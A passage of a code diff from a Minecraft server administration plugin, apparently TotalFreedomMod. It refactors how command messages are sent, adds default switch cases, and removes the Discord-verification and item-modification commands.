+                {
                     try
                     {
                         int amount = Math.max(0, Math.min(1000000, Integer.parseInt(args[2])));
@@ -138,7 +142,7 @@ public class Command_manageshop extends FreedomCommand
                         Player player = getPlayer(args[3]);
                         if (player != null)
                         {
-                            player.sendMessage(ChatColor.GREEN + sender.getName() + " set your coin balance to " + amount);
+                            msg(player, sender.getName() + " set your coin balance to " + amount, ChatColor.GREEN);
                         }
                         return true;
                     }
@@ -148,6 +152,11 @@ public class Command_manageshop extends FreedomCommand
                         return true;
                     }
                 }
+                default:
+                {
+                    return false;
+                }
+            }
         }
         else if (args[0].equals("items"))
         {
@@ -183,7 +192,7 @@ public class Command_manageshop extends FreedomCommand
                 Player player = getPlayer(args[3]);
                 if (player != null)
                 {
-                    player.sendMessage(ChatColor.GREEN + sender.getName() + " gave the " + item.getName() + " to you");
+                    msg(player, sender.getName() + " gave the " + item.getName() + " to you", ChatColor.GREEN);
                 }
                 return true;
             }
@@ -208,7 +217,7 @@ public class Command_manageshop extends FreedomCommand
                 Player player = getPlayer(args[3]);
                 if (player != null)
                 {
-                    player.sendMessage(ChatColor.RED + sender.getName() + " took the " + item.getName() + " from you");
+                    msg(player, sender.getName() + " took the " + item.getName() + " from you", ChatColor.RED);
                 }
                 return true;
             }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_manuallyverify.java

@@ -1,63 +0,0 @@
-package me.totalfreedom.totalfreedommod.command;
-
-import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.rank.Rank;
-import me.totalfreedom.totalfreedommod.util.FUtil;
-import org.bukkit.ChatColor;
-import org.bukkit.command.Command;
-import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
-
-@CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
-@CommandParameters(description = "Manually verify someone", usage = "/<command> <playername>", aliases = "mv")
-public class Command_manuallyverify extends FreedomCommand
-{
-    @Override
-    public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
-    {
-        boolean verificationEnabled = ConfigEntry.DISCORD_VERIFICATION.getBoolean();
-        if (!plugin.dc.enabled)
-        {
-            msg("The Discord verification system is currently disabled.", ChatColor.RED);
-            return true;
-        }
-
-        if (!verificationEnabled)
-        {
-            msg("The Discord verification system is currently disabled.", ChatColor.RED);
-            return true;
-        }
-
-        if (args.length == 0)
-        {
-            return false;
-        }
-
-        final Player player = getPlayer(args[0]);
-        if (player == null)
-        {
-            msg(FreedomCommand.PLAYER_NOT_FOUND);
-            return true;
-        }
-
-        if (!plugin.pl.IsImpostor(player))
-        {
-            msg("That player is not an impostor.");
-            return true;
-        }
-
-        FUtil.adminAction(sender.getName(), "Manually verifying player " + player.getName(), false);
-        player.setOp(true);
-        player.sendMessage(YOU_ARE_OP);
-
-        if (plugin.pl.getPlayer(player).getFreezeData().isFrozen())
-        {
-            plugin.pl.getPlayer(player).getFreezeData().setFrozen(false);
-            player.sendMessage(ChatColor.GRAY + "You have been unfrozen.");
-        }
-
-        plugin.pl.verify(player, null);
-        plugin.rm.updateDisplay(player);
-        return true;
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/command/Command_masterbuilderworld.java

@@ -138,7 +138,7 @@ public class Command_masterbuilderworld extends FreedomCommand
             {
                 return noPerms();
             }
-            sender.sendMessage(ex.getMessage());
+            msg(ex.getMessage());
             return true;
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_mbconfig.java

@@ -116,39 +116,21 @@ public class Command_mbconfig extends FreedomCommand
                     return true;
                 }
 
-                if (data.isMasterBuilder() && plugin.pl.isPlayerImpostor(player))
-                {
-                    FUtil.adminAction(sender.getName(), "Re-adding " + data.getName() + " to the Master Builder list", true);
-
-                    if (plugin.pl.getPlayer(player).getFreezeData().isFrozen())
-                    {
-                        plugin.pl.getPlayer(player).getFreezeData().setFrozen(false);
-                    }
-                    if (player != null)
-                    {
-                        plugin.pl.verify(player, null);
-                        plugin.rm.updateDisplay(player);
-                        player.setOp(true);
-                        player.sendMessage(YOU_ARE_OP);
-                    }
-                }
-                else if (!data.isMasterBuilder())
+                if (!data.isMasterBuilder())
                 {
                     FUtil.adminAction(sender.getName(), "Adding " + data.getName() + " to the Master Builder list", true);
                     data.setMasterBuilder(true);
-                    data.setVerification(true);
                     plugin.pl.save(data);
                     if (player != null)
                     {
                         plugin.rm.updateDisplay(player);
                     }
-                    return true;
                 }
                 else
                 {
                     msg("That player is already on the Master Builder list.");
-                    return true;
                 }
+                return true;
             }
             case "remove":
             {
@@ -173,10 +155,6 @@ public class Command_mbconfig extends FreedomCommand
 
                 FUtil.adminAction(sender.getName(), "Removing " + data.getName() + " from the Master Builder list", true);
                 data.setMasterBuilder(false);
-                if (data.getDiscordID() == null)
-                {
-                    data.setVerification(false);
-                }
                 plugin.pl.save(data);
                 if (player != null)
                 {

src/main/java/me/totalfreedom/totalfreedommod/command/Command_moblimiter.java

@@ -65,7 +65,7 @@ public class Command_moblimiter extends FreedomCommand
 
         if (ConfigEntry.MOB_LIMITER_ENABLED.getBoolean())
         {
-            sender.sendMessage("Moblimiter enabled. Maximum mobcount set to: " + ConfigEntry.MOB_LIMITER_MAX.getInteger() + ".");
+            msg("Moblimiter enabled. Maximum mobcount set to: " + ConfigEntry.MOB_LIMITER_MAX.getInteger() + ".");
 
             msg("Dragon: " + (ConfigEntry.MOB_LIMITER_DISABLE_DRAGON.getBoolean() ? "disabled" : "enabled") + ".");
             msg("Giant: " + (ConfigEntry.MOB_LIMITER_DISABLE_GIANT.getBoolean() ? "disabled" : "enabled") + ".");

src/main/java/me/totalfreedom/totalfreedommod/command/Command_modifyitem.java

@@ -1,266 +0,0 @@
-package me.totalfreedom.totalfreedommod.command;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.SplittableRandom;
-import me.totalfreedom.totalfreedommod.rank.Rank;
-import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.minecraft.server.v1_16_R3.NBTTagCompound;
-import net.minecraft.server.v1_16_R3.NBTTagList;
-import org.apache.commons.lang.StringUtils;
-import org.bukkit.Material;
-import org.bukkit.command.Command;
-import org.bukkit.command.CommandSender;
-import org.bukkit.craftbukkit.v1_16_R3.inventory.CraftItemStack;
-import org.bukkit.enchantments.Enchantment;
-import org.bukkit.entity.Player;
-import org.bukkit.inventory.ItemStack;
-import org.bukkit.inventory.meta.ItemMeta;
-import org.bukkit.inventory.meta.PotionMeta;
-import org.bukkit.potion.PotionEffectType;
-
-@CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME)
-@CommandParameters(description = "Modify the current item you are holding.", usage = "/<command> <name <message> | lore <message> | enchant <enchantment> <level> | potion <effect> <duration> <amplifier> | attribute <name> <amount> | clear>", aliases = "mi")
-public class Command_modifyitem extends FreedomCommand
-{
-
-    @SuppressWarnings("deprecation")
-    @Override
-    public boolean run(final CommandSender sender, final Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
-    {
-        if (args.length < 1)
-        {
-            return false;
-        }
-
-        ItemStack item = playerSender.getInventory().getItemInMainHand();
-        if (item.getType().equals(Material.AIR))
-        {
-            msg("You must have an item in your hand!");
-            return true;
-        }
-
-        if (args[0].equalsIgnoreCase("clear"))
-        {
-            item.setItemMeta(null);
-            playerSender.getInventory().setItemInMainHand(item);
-            return true;
-        }
-
-        if (args.length < 2)
-        {
-            return false;
-        }
-
-        ItemMeta meta = item.getItemMeta();
-        assert meta != null;
-        switch (args[0])
-        {
-            case "name":
-                String name = FUtil.colorize(StringUtils.join(args, " ", 1, args.length));
-                meta.setDisplayName(name);
-                item.setItemMeta(meta);
-                break;
-
-            case "lore":
-                List<String> lore = new ArrayList<>();
-                for (String line : StringUtils.join(args, " ", 1, args.length).split("\\\\n"))
-                {
-                    lore.add(FUtil.colorize(line));
-                }
-                meta.setLore(lore);
-                item.setItemMeta(meta);
-                break;
-
-            case "enchant":
-                if (args.length < 3)
-                {
-                    return false;
-                }
-
-                Enchantment enchantment = Enchantment.getByName(args[1].toUpperCase());
-                if (enchantment == null)
-                {
-                    msg("Invalid enchantment. Please run /enchant list for a list of valid enchantments.");
-                    return true;
-                }
-
-                int level;
-                try
-                {
-                    level = Integer.parseInt(args[2]);
-                }
-                catch (NumberFormatException ex)
-                {
-                    msg("The level specified is not a valid integer.");
-                    return true;
-                }
-                meta.addEnchant(enchantment, level, true);
-                item.setItemMeta(meta);
-                break;
-
-            case "potion":
-            {
-                if (!item.getType().equals(Material.POTION) & !item.getType().equals(Material.SPLASH_POTION) & !item.getType().equals(Material.LINGERING_POTION) & !item.getType().equals(Material.TIPPED_ARROW))
-                {
-                    msg("This item can not have potion effects added to it.");
-                    return true;
-                }
-
-                if (args.length < 4)
-                {
-                    return false;
-                }
-
-                PotionEffectType type = PotionEffectType.getByName(args[1]);
-                if (type == null)
-                {
-                    msg("Invalid potion effect. Please run /potion list for a list of valid potion effects.");
-                    return true;
-                }
-
-                int duration;
-                try
-                {
-                    duration = Math.max(1, Math.min(1000000, Integer.parseInt(args[2])));
-                }
-                catch (NumberFormatException ex)
-                {
-                    msg("The duration specified is not a valid integer.");
-                    return true;
-                }
-
-                int amplifier;
-                try
-                {
-                    amplifier = Math.max(1, Math.min(256, Integer.parseInt(args[2])));
-                }
-                catch (NumberFormatException ex)
-                {
-                    msg("The amplifier specified is not a valid integer.");
-                    return true;
-                }
-                PotionMeta potionMeta = (PotionMeta)meta;
-                potionMeta.addCustomEffect(type.createEffect(duration, amplifier), true);
-                item.setItemMeta(potionMeta);
-                break;
-            }
-
-            case "attribute":
-                if (args.length < 3)
-                {
-                    return false;
-                }
-                net.minecraft.server.v1_16_R3.ItemStack nmsStack = CraftItemStack.asNMSCopy(item);
-                NBTTagCompound compound = (nmsStack.hasTag()) ? nmsStack.getTag() : new NBTTagCompound();
-                NBTTagList modifiers = getAttributeList(nmsStack);
-                NBTTagCompound cmpnd = new NBTTagCompound();
-                Attribute attribute = Attribute.getByName(args[1].toUpperCase());
-                if (attribute == null)
-                {
-                    msg("Invalid attribute. Please run /attributelist for a list of valid attributes.");
-                    return true;
-                }
-                cmpnd.setString("AttributeName", attribute.getAttribute());
-                cmpnd.setString("Name", attribute.getAttribute());
-                double amount;
-                try
-                {
-                    amount = Double.parseDouble(args[2]);
-                }
-                catch (NumberFormatException ex)
-                {
-                    msg("The amount specified is not a valid integer.");
-                    return true;
-                }
-                if (Double.isNaN(amount))
-                {
-                    msg("The amount specified is illegal.");
-                    return true;
-                }
-                cmpnd.setDouble("Amount", amount);
-                cmpnd.setInt("Operation", 0);
-                SplittableRandom random = new SplittableRandom();
-                cmpnd.setIntArray("UUID", new int[]
-                        {
-                                random.nextInt(),
-                                random.nextInt(),
-                                random.nextInt(),
-                                random.nextInt()
-                        });
-                cmpnd.setString("Slot", "mainhand");
-                modifiers.add(cmpnd);
-                assert compound != null;
-                compound.set("AttributeModifiers", modifiers);
-                nmsStack.setTag(compound);
-                item = CraftItemStack.asBukkitCopy(nmsStack);
-                break;
-            default:
-                return false;
-        }
-        playerSender.getInventory().setItemInMainHand(item);
-        return true;
-    }
-
-    private NBTTagList getAttributeList(net.minecraft.server.v1_16_R3.ItemStack stack)
-    {
-        if (stack.getTag() == null)
-        {
-            stack.setTag(new NBTTagCompound());
-        }
-        NBTTagList attr = stack.getTag().getList("AttributeModifiers", 10);
-        if (attr == null)
-        {
-            stack.getTag().set("AttributeModifiers", new NBTTagList());
-        }
-        return stack.getTag().getList("AttributeModifiers", 10);
-    }
-
-    private enum Attribute
-    {
-        GENERIC_MAX_HEALTH("GENERIC_MAX_HEALTH", "generic.max_health"),
-        GENERIC_FOLLOW_RANGE("GENERIC_FOLLOW_RANGE", "generic.follow_range"),
-        GENERIC_KNOCKBACK_RESISTANCE("GENERIC_KNOCKBACK_RESISTANCE", "generic.knockback_resistance"),
-        GENERIC_MOVEMENT_SPEED("GENERIC_MOVEMENT_SPEED", "generic.movement_speed"),
-        GENERIC_FLYING_SPEED("GENERIC_FLYING_SPEED", "generic.flying_speed"),
-        GENERIC_ATTACK_DAMAGE("GENERIC_ATTACK_DAMAGE", "generic.attack_damage"),
-        GENERIC_ATTACK_SPEED("GENERIC_ATTACK_SPEED", "generic.attack_speed"),
-        GENERIC_ARMOR("GENERIC_ARMOR", "generic.armor"),
-        GENERIC_ARMOR_TOUGHNESS("GENERIC_ARMOR_TOUGHNESS", "generic.armor_toughmess"),
-        GENERIC_LUCK("GENERIC_LUCK", "generic.luck"),
-        HORSE_JUMP_STRENGTH("GENERIC_MAX_HEALTH", "horse.jump_strength"),
-        ZOMBIE_SPAWN_REINFORCEMENTS("ZOMBIE_SPAWN_REINFORCEMENTS", "zombie.spawn_reinforcements");
-
-        private final String name;
-        private final String attribute;
-
-        Attribute(String name, String attribute)
-        {
-            this.name = name;
-            this.attribute = attribute;
-        }
-
-        public static Attribute getByName(String name)
-        {
-            for (Attribute attr : Attribute.values())
-            {
-                if (attr.toString().toUpperCase().equals(name))
-                {
-                    return attr;
-                }
-            }
-            return null;
-        }
-
-        public String getAttribute()
-        {
-            return attribute;
-        }
-
-        @Override
-        public String toString()
-        {
-            return name;
-        }
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/command/Command_mp44.java

@@ -45,7 +45,7 @@ public class Command_mp44 extends FreedomCommand
         {
             playerdata.disarmMP44();
 
-            sender.sendMessage(ChatColor.GREEN + "mp44 Disarmed.");
+            msg("mp44 Disarmed.", ChatColor.GREEN);
         }
 
         return true;

src/main/java/me/totalfreedom/totalfreedommod/command/Command_mute.java

@@ -109,7 +109,7 @@ public class Command_mute extends FreedomCommand
         final Player player = getPlayer(args[0]);
         if (player == null)
         {
-            sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
+            msg(PLAYER_NOT_FOUND);
             return true;
         }
 
@@ -130,17 +130,19 @@ public class Command_mute extends FreedomCommand
         {
             playerdata.setMuted(true);
             player.sendTitle(ChatColor.RED + "You've been muted.", ChatColor.YELLOW + "Be sure to follow the rules!", 20, 100, 60);
+            
+            if (quiet)
+            {
+                msg("Muted " + player.getName() + " quietly");
+                return true;  // doesn't announce reason
+            }
+
+            FUtil.adminAction(sender.getName(), "Muting " + player.getName(), true);
+            
             if (reason != null)
             {
                 msg(player, ChatColor.RED + "Reason: " + ChatColor.YELLOW + reason);
             }
-            if (quiet)
-            {
-                msg("Muted " + player.getName() + " quietly");
-                return true;
-            }
-
-            FUtil.adminAction(sender.getName(), "Muting " + player.getName(), true);
 
             if (smite)
             {

src/main/java/me/totalfreedom/totalfreedommod/command/Command_nickfilter.java

@@ -7,7 +7,6 @@ import java.util.regex.Pattern;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import org.apache.commons.lang.StringUtils;
 import org.bukkit.Bukkit;
-import org.bukkit.ChatColor;
 import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
@@ -81,7 +80,7 @@ public class Command_nickfilter extends FreedomCommand
 
                         if (player == null || !plugin.al.isVanished(player.getName()) && !plugin.al.isAdmin(sender))
                         {
-                            sender.sendMessage(ChatColor.GRAY + "Can't find player by nickname: " + displayName);
+                            msg("Can't find player by nickname: " + displayName);
                             return true;
                         }
                     }
@@ -101,7 +100,7 @@ public class Command_nickfilter extends FreedomCommand
 
         if (!nickMatched)
         {
-            sender.sendMessage("No nicknames replaced in command.");
+            msg("No nicknames replaced in command.");
             return true;
         }
 
@@ -113,7 +112,7 @@ public class Command_nickfilter extends FreedomCommand
             return true;
         }
 
-        sender.sendMessage("Sending command: \"" + newCommand + "\".");
+        msg("Sending command: \"" + newCommand + "\".");
         server.dispatchCommand(sender, newCommand);
 
         return true;

src/main/java/me/totalfreedom/totalfreedommod/command/Command_notes.java

@@ -116,9 +116,13 @@ public class Command_notes extends FreedomCommand
                 msg("Cleared " + count + " notes.", ChatColor.GREEN);
                 return true;
             }
-        }
+
+            default:
+            {
                 return false;
             }
+        }
+    }
 
     @Override
     public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)

src/main/java/me/totalfreedom/totalfreedommod/command/Command_op.java

@@ -40,7 +40,8 @@ public class Command_op extends FreedomCommand
                 {
                     matchedPlayerNames.add(player.getName());
                     player.setOp(true);
-                    player.sendMessage(FreedomCommand.YOU_ARE_OP);
+                    msg(player, YOU_ARE_OP);
+                    plugin.rm.updateDisplay(player);
                 }
             }
         }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_opall.java

@@ -21,7 +21,12 @@ public class Command_opall extends FreedomCommand
             if (!player.isOp())
             {
                 player.setOp(true);
-                player.sendMessage(FreedomCommand.YOU_ARE_OP);
+                msg(player, YOU_ARE_OP);
+                plugin.rm.updateDisplay(player);
+            }
+            else
+            {
+                player.recalculatePermissions();
             }
         }
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_opme.java

@@ -16,7 +16,8 @@ public class Command_opme extends FreedomCommand
     {
         FUtil.adminAction(sender.getName(), "Opping " + sender.getName(), false);
         sender.setOp(true);
-        sender.sendMessage(FreedomCommand.YOU_ARE_OP);
+        msg(YOU_ARE_OP);
+        plugin.rm.updateDisplay(playerSender);
         return true;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_orbit.java

@@ -1,6 +1,8 @@
 package me.totalfreedom.totalfreedommod.command;
 
 import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.punishments.Punishment;
+import me.totalfreedom.totalfreedommod.punishments.PunishmentType;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.ChatColor;
@@ -56,11 +58,13 @@ public class Command_orbit extends FreedomCommand
             }
         }
 
+        FUtil.adminAction(sender.getName(), "Orbiting " + player.getName(), false);
+
         player.setGameMode(GameMode.SURVIVAL);
         playerdata.startOrbiting(strength);
-
         player.setVelocity(new Vector(0, strength, 0));
-        FUtil.adminAction(sender.getName(), "Orbiting " + player.getName(), false);
+
+        plugin.pul.logPunishment(new Punishment(player.getName(), FUtil.getIp(player), sender.getName(), PunishmentType.ORBIT, null));
         return true;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_playerverification.java

@@ -1,158 +0,0 @@
-package me.totalfreedom.totalfreedommod.command;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.player.PlayerData;
-import me.totalfreedom.totalfreedommod.rank.Rank;
-import me.totalfreedom.totalfreedommod.util.FUtil;
-import org.bukkit.ChatColor;
-import org.bukkit.command.Command;
-import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
-
-@CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME)
-@CommandParameters(description = "Manage your verification", usage = "/<command> <enable | disable | clearips | clearip <ip> | status | genbackupcodes>", aliases = "playerverify,pv")
-public class Command_playerverification extends FreedomCommand
-{
-    @Override
-    public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
-    {
-        PlayerData target = plugin.pl.getData(playerSender);
-        boolean verificationEnabled = ConfigEntry.DISCORD_VERIFICATION.getBoolean();
-        List<String> ips = new ArrayList<>(target.getIps());
-
-        if (verificationEnabled)
-        {
-            if (args.length == 1)
-            {
-                if (args[0].equalsIgnoreCase("clearips"))
-                {
-                    int cleared = 0;
-                    for (String ip : ips)
-                    {
-                        if (!ip.equals(FUtil.getIp(playerSender)))
-                        {
-                            target.removeIp(ip);
-                            cleared++;
-                        }
-                    }
-
-                    msg("Cleared all IP's except your current IP \"" + FUtil.getIp(playerSender) + "\"");
-                    msg("Cleared " + cleared + " IP's.");
-                    plugin.pl.save(target);
-                    plugin.pl.syncIps(target);
-                    return true;
-                }
-                else if (args[0].equalsIgnoreCase("clearip"))
-                {
-                    return false;
-                }
-            }
-
-            if (args.length < 1)
-            {
-                return false;
-            }
-
-            PlayerData data = plugin.pl.getData(playerSender);
-
-            switch (args[0].toLowerCase())
-            {
-                case "enable":
-                {
-                    if (!plugin.dc.enabled)
-                    {
-                        msg("The Discord verification system is currently disabled.", ChatColor.RED);
-                        return true;
-                    }
-                    else if (data.hasVerification())
-                    {
-                        msg("Discord verification is already enabled for you.", ChatColor.RED);
-                        return true;
-                    }
-                    else if (data.getDiscordID() == null)
-                    {
-                        msg("Please link a discord account with /linkdiscord.", ChatColor.RED);
-                        return true;
-                    }
-
-                    data.setVerification(true);
-                    plugin.pl.save(data);
-                    msg("Re-enabled Discord verification.", ChatColor.GREEN);
-                    return true;
-                }
-
-                case "disable":
-                {
-                    if (!data.hasVerification())
-                    {
-                        msg("Discord verification is already disabled for you.", ChatColor.RED);
-                        return true;
-                    }
-
-                    data.setVerification(false);
-                    plugin.pl.save(data);
-                    msg("Disabled Discord verification.", ChatColor.GREEN);
-                    return true;
-                }
-
-                case "status":
-                {
-                    boolean enabled = target.hasVerification();
-                    boolean specified = target.getDiscordID() != null;
-                    msg(ChatColor.GRAY + "Discord Verification Enabled: " + (enabled ? ChatColor.GREEN + "true" : ChatColor.RED + "false"));
-                    msg(ChatColor.GRAY + "Discord ID: " + (specified ? ChatColor.GREEN + target.getDiscordID() : ChatColor.RED + "not set"));
-                    msg(ChatColor.GRAY + "Backup Codes: " + data.getBackupCodes().size() + "/" + "10");
-                    return true;
-                }
-
-                case "genbackupcodes":
-                {
-                    if (!plugin.dc.enabled)
-                    {
-                        msg("The Discord verification system is currently disabled.", ChatColor.RED);
-                        return true;
-                    }
-                    else if (!data.hasVerification())
-                    {
-                        msg("Discord verification is not enabled for you.", ChatColor.RED);
-                        return true;
-                    }
-
-                    boolean generated = plugin.dc.sendBackupCodes(data);
-
-                    if (generated)
-                    {
-                        msg("Your backup codes have been sent to your discord account. They can be re-generated at anytime.", ChatColor.GREEN);
-                    }
-                    else
-                    {
-                        msg("Failed to generate backup codes, please contact a developer.", ChatColor.RED);
-                    }
-                    return true;
-                }
-                default:
-                    return false;
-            }
-        }
-        else
-        {
-            msg("The Discord verification system is currently disabled.", ChatColor.RED);
-        }
-        return true;
-    }
-
-    @Override
-    public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)
-    {
-        if (args.length == 1)
-        {
-            return Arrays.asList("enable", "disable", "status", "clearips", "genbackupcodes");
-        }
-
-        return Collections.emptyList();
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/command/Command_potion.java

@@ -29,6 +29,7 @@ public class Command_potion extends FreedomCommand
         switch (args.length)
         {
             case 1:
+            {
                 if (args[0].equalsIgnoreCase("list"))
                 {
                     List<String> potionEffectTypeNames = new ArrayList<>();
@@ -58,14 +59,16 @@ public class Command_potion extends FreedomCommand
                         }
                     }
                 }
+            }
 
             case 2:
+            {
                 if (args[0].equalsIgnoreCase("clear"))
                 {
                     Player target = playerSender;
                     if (args.length == 2)
                     {
-                        if (!plugin.al.isAdmin(sender) && !target.equals(getPlayer(sender.getName())))
+                        if (!plugin.al.isAdmin(sender) && !args[1].equalsIgnoreCase(sender.getName()))
                         {
                             msg(ChatColor.RED + "Only admins can clear potion effects from other players.");
                             return true;
@@ -95,18 +98,20 @@ public class Command_potion extends FreedomCommand
                     msg("Cleared all active potion effects " + (!target.equals(playerSender) ? "from player " + target.getName() + "." : "from yourself."), ChatColor.AQUA);
                 }
                 break;
+            }
 
             case 4:
             case 5:
+            {
                 if (args[0].equalsIgnoreCase("add"))
                 {
                     Player target = playerSender;
 
                     if (args.length == 5)
                     {
-                        if (!plugin.al.isAdmin(sender) && !getPlayer(args[4]).equals(getPlayer(sender.getName())))
+                        if (!plugin.al.isAdmin(sender) && !args[4].equalsIgnoreCase(sender.getName()))
                         {
-                            sender.sendMessage(ChatColor.RED + "Only admins can apply potion effects to other players.");
+                            msg("Only admins can apply potion effects to other players.", ChatColor.RED);
                             return true;
                         }
 
@@ -114,7 +119,7 @@ public class Command_potion extends FreedomCommand
 
                         if (target == null || plugin.al.isVanished(target.getName()) && !plugin.al.isAdmin(sender))
                         {
-                            msg(FreedomCommand.PLAYER_NOT_FOUND, ChatColor.RED);
+                            msg(PLAYER_NOT_FOUND);
                             return true;
                         }
                     }
@@ -122,7 +127,7 @@ public class Command_potion extends FreedomCommand
                     {
                         if (senderIsConsole)
                         {
-                            sender.sendMessage("You must specify a target player when using this command from the console.");
+                            msg("You must specify a target player when using this command from the console.");
                             return true;
                         }
                     }
@@ -130,7 +135,7 @@ public class Command_potion extends FreedomCommand
                     PotionEffectType potion_effect_type = PotionEffectType.getByName(args[1]);
                     if (potion_effect_type == null)
                     {
-                        sender.sendMessage(ChatColor.AQUA + "Invalid potion effect type.");
+                        msg("Invalid potion effect type.", ChatColor.AQUA);
                         return true;
                     }
 
@@ -167,9 +172,12 @@ public class Command_potion extends FreedomCommand
                                     + (!target.equals(playerSender) ? " to player " + target.getName() + "." : " to yourself."), ChatColor.AQUA);
                 }
                 break;
+            }
             default:
+            {
                 return false;
             }
+        }
         return true;
     }
 
@@ -179,14 +187,17 @@ public class Command_potion extends FreedomCommand
         switch (args.length)
         {
             case 1:
+            {
                 List<String> arguments = new ArrayList<>(Arrays.asList("list", "clear", "add"));
                 if (plugin.al.isAdmin(sender))
                 {
                     arguments.add("clearall");
                 }
                 return arguments;
+            }
 
             case 2:
+            {
                 if (args[0].equals("clear"))
                 {
                     if (plugin.al.isAdmin(sender))
@@ -199,22 +210,28 @@ public class Command_potion extends FreedomCommand
                     return getAllPotionTypes();
                 }
                 break;
+            }
 
             case 3:
+            {
                 if (args[0].equals("add"))
                 {
                     return Collections.singletonList("<duration>");
                 }
                 break;
+            }
 
             case 4:
+            {
                 if (args[0].equals("add"))
                 {
                     return Collections.singletonList("<amplifier>");
                 }
                 break;
+            }
 
             case 5:
+            {
                 if (plugin.al.isAdmin(sender))
                 {
                     if (args[0].equals("add"))
@@ -225,6 +242,12 @@ public class Command_potion extends FreedomCommand
                 break;
             }
 
+            default:
+            {
+                break;
+            }
+        }
+
         return Collections.emptyList();
     }